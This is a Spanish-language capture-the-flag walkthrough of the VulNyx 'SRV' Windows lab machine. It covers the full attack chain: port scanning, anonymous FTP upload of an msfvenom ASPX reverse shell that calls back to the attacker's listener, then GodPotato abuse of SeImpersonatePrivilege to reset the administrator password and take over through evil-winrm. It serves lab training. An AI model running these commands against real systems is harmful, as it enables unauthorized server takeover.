VulNyx - SRV
Information
SRV es una máquina virtual vulnerable Windows de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en el hipervisor VirtualBox.

Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.49
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-10 15:33 CET
Nmap scan report for 192.168.1.49
Host is up (0.00064s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
root@kali:~ ❯ nmap -sVC -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 192.168.1.49
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-10 15:35 CET
Nmap scan report for 192.168.1.49
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:59:DA:1F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h59m57s
| smb2-time:
| date: 2026-01-10T23:36:17
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SRV, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:59:da:1f (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Shell (iis apppool)
445/TCP (SMB)
Basic Enumeration
root@kali:~ ❯ netexec smb 192.168.1.49
SMB 192.168.1.49 445 SRV [*] Windows 10 / Server 2019 Build 17763 x64 (name:SRV) (domain:SRV) (signing:False) (SMBv1:False)
Shares
Null Session (Failed)
root@kali:~ ❯ smbclient -NL //192.168.1.49
session setup failed: NT_STATUS_ACCESS_DENIED
root@kali:~ ❯ smbmap --no-banner -H 192.168.1.49 -u '' -p ''
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Something weird happened on (192.168.1.49) Error occurs while reading from remote(104) on line 1015
[*] Closed 1 connections
root@kali:~ ❯ netexec smb 192.168.1.49 -u '' -p '' --shares
SMB 192.168.1.49 445 SRV [*] Windows 10 / Server 2019 Build 17763 x64 (name:SRV) (domain:SRV) (signing:False) (SMBv1:False)
SMB 192.168.1.49 445 SRV [-] SRV\: STATUS_ACCESS_DENIED
SMB 192.168.1.49 445 SRV [-] Error enumerating shares: Error occurs while reading from remote(104)
RPC
Null Session (Failed)
root@kali:~ ❯ rpcclient -NU "" 192.168.1.49 -c "srvinfo"
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
80/TCP (HTTP)
Site (/)

Directory Brute Force
root@kali:~ ❯ gobuster dir -w /opt/big.txt -u http://192.168.1.49/
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.49/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aspnet_client (Status: 301) [Size: 157] [--> http://192.168.1.49/aspnet_client/]
/ftproot (Status: 301) [Size: 151] [--> http://192.168.1.49/ftproot/]
Progress: 20478 / 20478 (100.00%)
===============================================================
Finished
===============================================================
Site (/ftproot/)

21/TCP (FTP)
El nmap inicial muestra, mediante el script NSE ftp-anon, la existencia del usuario anonymous habilitado
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
Accedo mediante el usuario anonymous al FTP
root@kali:~ ❯ ftp anonymous@192.168.1.49
Connected to 192.168.1.49.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49675|)
150 Opening ASCII mode data connection.
226 Transfer complete.
Generate Payload (ASPX)
Mediante netexec verifico la arquitectura del servidor objetivo y es un sistema basado en x64
root@kali:~ ❯ netexec smb 192.168.1.49
SMB 192.168.1.49 445 SRV [*] Windows 10 / Server 2019 Build 17763 x64 (name:SRV) (domain:SRV) (signing:False) (SMBv1:False)
Genero con msfvenom una reverse shell con extensión .aspx para un Internet Information Services (IIS)
root@kali:~ ❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=443 -f aspx -o rev.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3412 bytes
Saved as: rev.aspx
Upload ASPX File
Subo exitosamente la reverse shell .aspx
ftp> put rev.aspx
local: rev.aspx remote: rev.aspx
229 Entering Extended Passive Mode (|||49678|)
150 Opening ASCII mode data connection.
100% |********************************************************************************************************************************************| 3457 47.09 MiB/s --:-- ETA
226 Transfer complete.
3457 bytes sent in 00:00 (4.08 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||49679|)
150 Opening ASCII mode data connection.
01-10-26 04:20PM 3457 rev.aspx
226 Transfer complete.
Reverse Shell
root@kali:~ ❯ curl -sX GET "http://192.168.1.49/ftproot/rev.aspx"
Obtengo la shell como usuario iis apppool
root@kali:~ ❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.49] 49680
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami && hostname
iis apppool\defaultapppool
SRV
Privilege Escalation
Enumeration
Privileges
El usuario iis apppool dispone del privilegio SeImpersonatePrivilege
root@kali:~ ❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.49] 49671
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
OS & Kernel
Verifico nuevamente que estoy ante un sistema operativo Windows Server 2019 (x64)
c:\windows\system32\inetsrv>systeminfo
Host Name: SRV
OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00431-10000-00000-AA871
Original Install Date: 10/10/2025, 9:19:36 AM
System Boot Time: 1/10/2026, 4:33:47 PM
System Manufacturer: innotek GmbH
System Model: VirtualBox
System Type: x64-based PC
Abuse
SeImpersonatePrivilege
.NET Version
Uso GodPotato para escalar privilegios, identifico en el sistema la versión 4 de .NET
c:\windows\system32\inetsrv>reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s | find "Version"
TargetVersion REG_SZ 4.0.0
Version REG_SZ 4.7.03190
TargetVersion REG_SZ 4.0.0
Version REG_SZ 4.7.03190
TargetVersion REG_SZ 4.0.0
Version REG_SZ 4.7.03190
TargetVersion REG_SZ 4.0.0
Version REG_SZ 4.7.03190
Version REG_SZ 4.0.0.0
File Transfer
En los Releases del repositorio, descargo el binario compilado para la versión 4 de .NET
root@kali:~ ❯ mv /home/kali/Descargas/GodPotato-NET4.exe .
root@kali:~ ❯ impacket-smbserver a . -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
C:\>cd %TEMP%
C:\Windows\Temp>copy \\192.168.1.5\a\GodPotato-NET4.exe GodPotato-NET4.exe
copy \\192.168.1.5\a\GodPotato-NET4.exe GodPotato-NET4.exe
1 file(s) copied.
Run GodPotato
Ejecuto GodPotato.exe y cambio el password del usuario administrator
C:\Windows\Temp>.\GodPotato-NET4.exe -cmd "net user administrator Password1"
.\GodPotato-NET4.exe -cmd "net user administrator Password1"
[*] CombaseModule: 0x140730123616256
[*] DispatchTable: 0x140730125922416
[*] UseProtseqFunction: 0x140730125298640
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\00e9043d-8c9e-4fe7-ab00-a996249eab38\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00005c02-0a30-ffff-e957-08ce51bc5975
[*] DCOM obj OXID: 0x30c56959fa60aa94
[*] DCOM obj OID: 0xa7bd41d768408c57
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 728 Token:0x796 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 128
The command completed successfully.
Verifico las nuevas credenciales y accedo como usuario administrator
root@kali:~ ❯ netexec smb 192.168.1.49 -u administrator -p Password1
SMB 192.168.1.49 445 SRV [*] Windows 10 / Server 2019 Build 17763 x64 (name:SRV) (domain:SRV) (signing:False) (SMBv1:False)
SMB 192.168.1.49 445 SRV [+] SRV\administrator:Password1 (Pwn3d!)
root@kali:~ ❯ netexec winrm 192.168.1.49 -u administrator -p Password1
WINRM 192.168.1.49 5985 SRV [*] Windows 10 / Server 2019 Build 17763 (name:SRV) (domain:SRV)
WINRM 192.168.1.49 5985 SRV [+] SRV\administrator:Password1 (Pwn3d!)
root@kali:~ ❯ evil-winrm -i 192.168.1.49 -u administrator -p Password1
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami ; hostname
srv\administrator
SRV
Flags
Ya como usuario administrator puedo leer las flags user.txt y root.txt
*Evil-WinRM* PS C:\> type c:\users\user.txt
655b****************************
*Evil-WinRM* PS C:\> type c:\users\administrator\desktop\root.txt
e81e****************************
Hasta aquí la resolución de la máquina SRV.
Happy Hacking!